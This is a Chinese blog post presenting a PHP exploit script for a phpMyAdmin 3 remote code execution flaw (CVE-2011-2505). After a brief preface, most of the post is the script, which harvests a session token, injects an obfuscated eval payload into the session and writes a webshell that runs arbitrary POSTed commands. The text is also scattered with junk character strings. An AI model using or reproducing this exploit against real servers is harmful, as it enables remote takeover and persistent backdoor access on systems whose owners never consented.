phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

7 Z" v, g, I0 q- G首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
8 y3 \# t' s) Z/ C7 c一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
+ x. Q, }3 m& R1 i. P. E当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

, U) a; A, ^5 @% r于是写了这个php版本的exp，代码如下：
, c: W# H( z3 T7 K* g; u, n, p2 {
. P6 r: b* w8 Z6 b5 }- Y#!/usr/bin/php
<?php
% W5 h) t. e* v! X$ Cprint_r('
* ]* ~, j! G! c% @3 X+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
' G3 z2 \& B' p% v# tmail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
( f* y: `; L5 W- K! n8 z+---------------------------------------------------------------------------+
% x+ P+ I" k; O, P' j* x+ m! a');
6 z2 ?, |0 x/ t1 V2 J" c
6 q, ^; q/ [$ Y" Q( E+ f/**
. \, A  }4 I- o4 i8 l/ P7 Q * working when the directory:"config" exists and is writeable.
**/

: o- t; o, m7 v: t+ Dif ($argc < 3) {
    print_r('
3 R4 w' B9 F, U2 q# l  F6 o+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
& c5 A  L3 r6 w* r+ M) khost:      target server (ip/hostname)
path:      path to pma3
/ j/ C7 y% N. M/ V" |1 ]Example:
4 l2 u% Q) D9 v6 v( G4 K) @# }php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
8 ?* i/ T6 k0 @4 M3 K0 g1 Q8 G    exit;
/ {2 \$ o' G$ }9 _1 P7 @+ L8 K}

$host = $argv[1];
/ a% M1 l( M. ^6 Y: l1 P6 }5 B$path = $argv[2];

/**
* Try to determine if the directory:"config" exists
% }1 W0 |  `, ]/ W& R# x**/
& d: }, B" R. n9 ?echo "[+] Try to determine if the directory:config exists....\n";
& `$ U8 c9 @# V* }$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
) }! w& H, m6 Y( r' w- v}
0 w. U) @6 K7 T/ u- m; n$ U
/**
* Try to get token and sessionid
**/
# f  b) r1 C5 l  U. l% fecho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
1 H) p% G& i$ c  B' \' a$sessionid=$resp[1];
* ?$ w& q; d# K' e7 j, Cif($token && $sessionid){
    echo "[+] tokentoken\n";
4 p; a8 B7 O" r7 Y4 f    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

% ^+ R3 ?$ I6 o. {6 w4 O/**
7 T9 M: F+ Q' d7 l, X! \. @" W% x9 A * Try to insert shell into session
* s* O' x% V. z, f" p0 f/ \6 r**/
0 ?" Z* b, q; {/ d( x. {echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
4 N) [) E' T: V/ L; V! h
5 U4 X$ N! a( }$ J0 k' e7 U/**
* Try to create webshell
**/
& x* H% ]" ^9 a% {! ]9 H) {echo "[+] Try to create webshell....\n";
- Z2 m0 @- B$ V2 O, Uphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
$ I; A3 P; ~3 _7 V8 p  t * Try to check if the webshell was created successfully
% Q, t' O- c) M5 E, t**/
echo "[+] Try to check if the webshell was created successfully....\n";
9 g3 B4 N- `3 p# h2 B' r0 @$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
! n9 ~) m' \1 y) l; e$ G" [+ J. V5 _( |    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
/ d* ?& @( ]/ {5 C" N- Y    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
6 v; i6 V& k0 ~}

3 u% t: w( X. v6 A: b! A4 h4 v, Ifunction php_request($url,$data='',$cookie=''){
3 L' W& U( t) S$ k+ V: v    global  $host, $path;
+ V( }# A0 W/ J! n   
    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
1 W# X  t- x# l- H. m+ V    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
8 f. p9 O7 M2 i( H$ P3 N    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ X7 v* ^6 J1 {1 \2 [" r    $packet .= "Connection: Close\r\n\r\n";
# f! N2 ~) K1 c; ^    $packet .= $data?$data:"";
, k* e1 F+ h! |# [5 L
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
) L5 Q6 Z, v8 ]4 m; u$ K& ~- j    echo 'No response from '.$host; die;
    }
6 c; f: P- ~% i, ]- J7 N    fputs($fp, $packet);
# _  \$ p2 \" F! a
( C3 g  |9 \* R2 p    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
. U4 n3 |. b9 b+ r: K, |
    return $resp;
}
   
?>
.